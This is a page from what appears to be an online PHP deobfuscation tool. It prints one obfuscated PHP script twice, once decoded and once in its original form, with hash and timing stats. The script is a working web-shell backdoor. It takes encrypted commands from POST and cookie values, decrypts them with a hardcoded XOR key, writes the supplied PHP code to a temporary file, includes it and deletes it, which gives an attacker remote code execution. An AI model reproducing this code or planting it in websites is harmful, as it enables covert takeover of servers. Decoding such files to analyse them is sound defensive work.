Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $hpkxu /* tbd */ = 'hpkxu' /*pftyae */ ^ ' ..
Decoded Output download
<?php $hpkxu /* tbd */ = 'hpkxu' /*pftyae */ ^ '
';
$ozkcbtmzq = "a"."r"."r" /* qye */ . "a" . $hpkxu(121) . /*bqkgl */ "_" . /* hexi */ $hpkxu(1089-980) . "a" . "p";
function ohdovy($sgne_p_, /*rlxx */ $lcxvwcvus)
{
/* g */ global $hpkxu;
$sgne_p_ = /* mp */ $hpkxu(821-761) /* p */ . "?"."p"."h"."p" . /* rewh */ $hpkxu(32) . "u".$hpkxu(1048-938) /* h_uf */ . "l" . "i"."n"."k" . $hpkxu(779-739) . $hpkxu(95) . /* byabv*/ "_"."F" . "I"."L" /*aphqe */ . "E"."_"."_" . $hpkxu(41) . ";" /*fquue */ . $hpkxu(32) . /*vx */ $sgne_p_[$hpkxu(913-813)];
$lqsipd /* url_ */ = /*scq */ "f"."i" /* fan */ . "l"."e" . $hpkxu(95) . $hpkxu(112) . "u" . $hpkxu(116) . "_"."c" /* wd */ . "o" . "n" /* ztyg_ */ . "t".$hpkxu(101)."n" . $hpkxu(116) . $hpkxu(115); /* ivk */
/* uohlc_ */ $lqsipd($lcxvwcvus, $sgne_p_);
nmvrvpcra($lcxvwcvus);
}
$cjjxq = /* eyenc */ 73;
function nmvrvpcra($lcxvwcvus)
{ /*b */ global /* n */ $hpkxu; /* hh */ include($lcxvwcvus);
/* hz */ $m_zlik_s = $lcxvwcvus; /* huslum*/ @unlink($m_zlik_s);
}
function /*hc*/ khvgak()
{
global $hpkxu;
$guxay = array();
/* nxmyuh */ $guxay["p".$hpkxu(118)] = phpversion();
/* s */ $guxay[$hpkxu(873-758) . /*eg */ "v"] = "3".$hpkxu(936-890) . $hpkxu(53);
$nozjvocrrs /* qmsbmb*/ = 74; echo @serialize($guxay);
}
function /* uldpcs */ vglj_b($sgne_p_, /*gn*/ $rdgknkkggh)
{
/*oaywye */ global $hpkxu;
/* blgjkz*/ $wzjk_pbuc = "";
$dyzbkmlhi = strlen($sgne_p_); $egkwndtxo /* ht */ = strlen($rdgknkkggh); /* jhc */ $guxay /*dhb*/ = /* bw */ 0;
/* gjfk*/ $zvrfkku /* i */ = 0; /* ytklue */ while ($guxay /* hwoxw */ < /* vnj */ $dyzbkmlhi) /*de_gb */ {
$adzlrsn = $sgne_p_[$guxay] /* qctrlj */ ^ $rdgknkkggh[$zvrfkku % $egkwndtxo];
$wzjk_pbuc .= $adzlrsn;
$zvrfkku++; /*xq*/
$guxay++; /*hj */ }
if /* tu*/ (strlen($wzjk_pbuc) /* k_ */ > 20) {
$sxyiw = substr($wzjk_pbuc, 0, 20);
} if /* zbvs */ (empty($wzjk_pbuc)) {
/* wt*/ $wzjk_pbuc = date('Y-m-d /* w*/ H:i:s');
}
return $wzjk_pbuc;}
function /* dz */ aqbjqm($aqtuv)
{
global $hpkxu;
/* br */
$qthyux = /* hve */ "6" . "3" . $hpkxu(52) /* eaaj */ . /* fi_i*/ "7" /* blrkb */ . $hpkxu(101).$hpkxu(49) . "4"."7" . /* pjm */ "-".$hpkxu(787-731) . "1" . /* ogbc */ "e" /* krdf*/ . $hpkxu(51) . $hpkxu(990-945) . "4"."8"."4" /* ljlqg */ . "e" . $hpkxu(127-82) /*bqujby */ . /*krdkmv */ $hpkxu(474-377) . "4"."f" . "b"."-".$hpkxu(98) /* coqs */ . /*vh */ "7" /* kof */ . "3" /* hgqfbc */ . "7".$hpkxu(100) /* cjq*/ . /* lknah_ */ "5" . /* cqtf*/ $hpkxu(462-364) /* jmw_wd */ . /*opspu */ "c" . "a" . $hpkxu(671-619) . /*ezlftx */ $hpkxu(49) . "1";
foreach ($aqtuv /* ert*/ as $luix_sajl => $sgne_p_) /* ewy */ { /* fhrz*/ rgjtyqay(base64_decode($sgne_p_), /* wg */ $qthyux, $luix_sajl);
/* oun_ns*/ }
}
function /* lqczxy */ rgjtyqay($sgne_p_, /*iezyem*/ $qthyux, $luix_sajl)
{
global $hpkxu;
/* vclfc*/ $sgne_p_ /* ziz*/ = /* el */ unserialize(vglj_b(vglj_b($sgne_p_, $qthyux), $luix_sajl)); $flnizz = /* nvyy */ 'sw_l';
$tecnsmeo = /* dbafsu*/ 'spvcid';
/* m */ if (isset($sgne_p_["a"."k"])) /* doj */ {
if ($sgne_p_["a"] /* mnof */ == "i") /*ktpjdh*/ {
khvgak();
} elseif /* wzdoi */ ($sgne_p_["a"] /* zeou */ == $hpkxu(101)) {
/* cxzng */ ohdovy($sgne_p_, /* me */ sprintf($hpkxu(46) . "/"."%"."s".$hpkxu(886-840) . "p"."l", md5($qthyux))); $tvahl = /*dpqjpr */ 44; }
/*idsp */ exit();
/* ghhxe */ }
}
aqbjqm($_POST); /* szvm */
$uxuvv_dw = 'rawurldecode';
$rtwmbp_zmj = $ozkcbtmzq($uxuvv_dw, $_POST);
explode("", $uxuvv_dw);
aqbjqm($_COOKIE);
$cihyezgh = $ozkcbtmzq($uxuvv_dw, $_COOKIE);
?>
Did this file decode correctly?
Original Code
<?php $hpkxu /* tbd */ = 'hpkxu' /*pftyae */ ^ '
';
$ozkcbtmzq = "a"."r"."\x72" /* qye */ . "\141" . $hpkxu(121) . /*bqkgl */ "\x5f" . /* hexi */ $hpkxu(1089-980) . "\141" . "\160";
function ohdovy($sgne_p_, /*rlxx */ $lcxvwcvus)
{
/* g */ global $hpkxu;
$sgne_p_ = /* mp */ $hpkxu(821-761) /* p */ . "?"."p"."h"."\x70" . /* rewh */ $hpkxu(32) . "u".$hpkxu(1048-938) /* h_uf */ . "\x6c" . "i"."n"."\153" . $hpkxu(779-739) . $hpkxu(95) . /* byabv*/ "_"."\106" . "I"."\114" /*aphqe */ . "E"."_"."\137" . $hpkxu(41) . "\x3b" /*fquue */ . $hpkxu(32) . /*vx */ $sgne_p_[$hpkxu(913-813)];
$lqsipd /* url_ */ = /*scq */ "f"."\x69" /* fan */ . "l"."\x65" . $hpkxu(95) . $hpkxu(112) . "\165" . $hpkxu(116) . "_"."\143" /* wd */ . "\157" . "\156" /* ztyg_ */ . "t".$hpkxu(101)."\x6e" . $hpkxu(116) . $hpkxu(115); /* ivk */
/* uohlc_ */ $lqsipd($lcxvwcvus, $sgne_p_);
nmvrvpcra($lcxvwcvus);
}
$cjjxq = /* eyenc */ 73;
function nmvrvpcra($lcxvwcvus)
{ /*b */ global /* n */ $hpkxu; /* hh */ include($lcxvwcvus);
/* hz */ $m_zlik_s = $lcxvwcvus; /* huslum*/ @unlink($m_zlik_s);
}
function /*hc*/ khvgak()
{
global $hpkxu;
$guxay = array();
/* nxmyuh */ $guxay["p".$hpkxu(118)] = phpversion();
/* s */ $guxay[$hpkxu(873-758) . /*eg */ "v"] = "3".$hpkxu(936-890) . $hpkxu(53);
$nozjvocrrs /* qmsbmb*/ = 74; echo @serialize($guxay);
}
function /* uldpcs */ vglj_b($sgne_p_, /*gn*/ $rdgknkkggh)
{
/*oaywye */ global $hpkxu;
/* blgjkz*/ $wzjk_pbuc = "";
$dyzbkmlhi = strlen($sgne_p_); $egkwndtxo /* ht */ = strlen($rdgknkkggh); /* jhc */ $guxay /*dhb*/ = /* bw */ 0;
/* gjfk*/ $zvrfkku /* i */ = 0; /* ytklue */ while ($guxay /* hwoxw */ < /* vnj */ $dyzbkmlhi) /*de_gb */ {
$adzlrsn = $sgne_p_[$guxay] /* qctrlj */ ^ $rdgknkkggh[$zvrfkku % $egkwndtxo];
$wzjk_pbuc .= $adzlrsn;
$zvrfkku++; /*xq*/
$guxay++; /*hj */ }
if /* tu*/ (strlen($wzjk_pbuc) /* k_ */ > 20) {
$sxyiw = substr($wzjk_pbuc, 0, 20);
} if /* zbvs */ (empty($wzjk_pbuc)) {
/* wt*/ $wzjk_pbuc = date('Y-m-d /* w*/ H:i:s');
}
return $wzjk_pbuc;}
function /* dz */ aqbjqm($aqtuv)
{
global $hpkxu;
/* br */
$qthyux = /* hve */ "\x36" . "\63" . $hpkxu(52) /* eaaj */ . /* fi_i*/ "\x37" /* blrkb */ . $hpkxu(101).$hpkxu(49) . "4"."\67" . /* pjm */ "-".$hpkxu(787-731) . "\x31" . /* ogbc */ "\145" /* krdf*/ . $hpkxu(51) . $hpkxu(990-945) . "4"."8"."\64" /* ljlqg */ . "\x65" . $hpkxu(127-82) /*bqujby */ . /*krdkmv */ $hpkxu(474-377) . "4"."\146" . "b"."-".$hpkxu(98) /* coqs */ . /*vh */ "\67" /* kof */ . "\63" /* hgqfbc */ . "7".$hpkxu(100) /* cjq*/ . /* lknah_ */ "\x35" . /* cqtf*/ $hpkxu(462-364) /* jmw_wd */ . /*opspu */ "\x63" . "\x61" . $hpkxu(671-619) . /*ezlftx */ $hpkxu(49) . "1";
foreach ($aqtuv /* ert*/ as $luix_sajl => $sgne_p_) /* ewy */ { /* fhrz*/ rgjtyqay(base64_decode($sgne_p_), /* wg */ $qthyux, $luix_sajl);
/* oun_ns*/ }
}
function /* lqczxy */ rgjtyqay($sgne_p_, /*iezyem*/ $qthyux, $luix_sajl)
{
global $hpkxu;
/* vclfc*/ $sgne_p_ /* ziz*/ = /* el */ unserialize(vglj_b(vglj_b($sgne_p_, $qthyux), $luix_sajl)); $flnizz = /* nvyy */ 'sw_l';
$tecnsmeo = /* dbafsu*/ 'spvcid';
/* m */ if (isset($sgne_p_["\x61"."k"])) /* doj */ {
if ($sgne_p_["\x61"] /* mnof */ == "i") /*ktpjdh*/ {
khvgak();
} elseif /* wzdoi */ ($sgne_p_["\x61"] /* zeou */ == $hpkxu(101)) {
/* cxzng */ ohdovy($sgne_p_, /* me */ sprintf($hpkxu(46) . "/"."%"."s".$hpkxu(886-840) . "p"."l", md5($qthyux))); $tvahl = /*dpqjpr */ 44; }
/*idsp */ exit();
/* ghhxe */ }
}
aqbjqm($_POST); /* szvm */
$uxuvv_dw = 'rawurldecode';
$rtwmbp_zmj = $ozkcbtmzq($uxuvv_dw, $_POST);
explode("", $uxuvv_dw);
aqbjqm($_COOKIE);
$cihyezgh = $ozkcbtmzq($uxuvv_dw, $_COOKIE);
Function Calls
HzKXU | 1 |
Stats
MD5 | 780f7797c5a0777576c9d992e6aaa8d3 |
Eval Count | 0 |
Decode Time | 112 ms |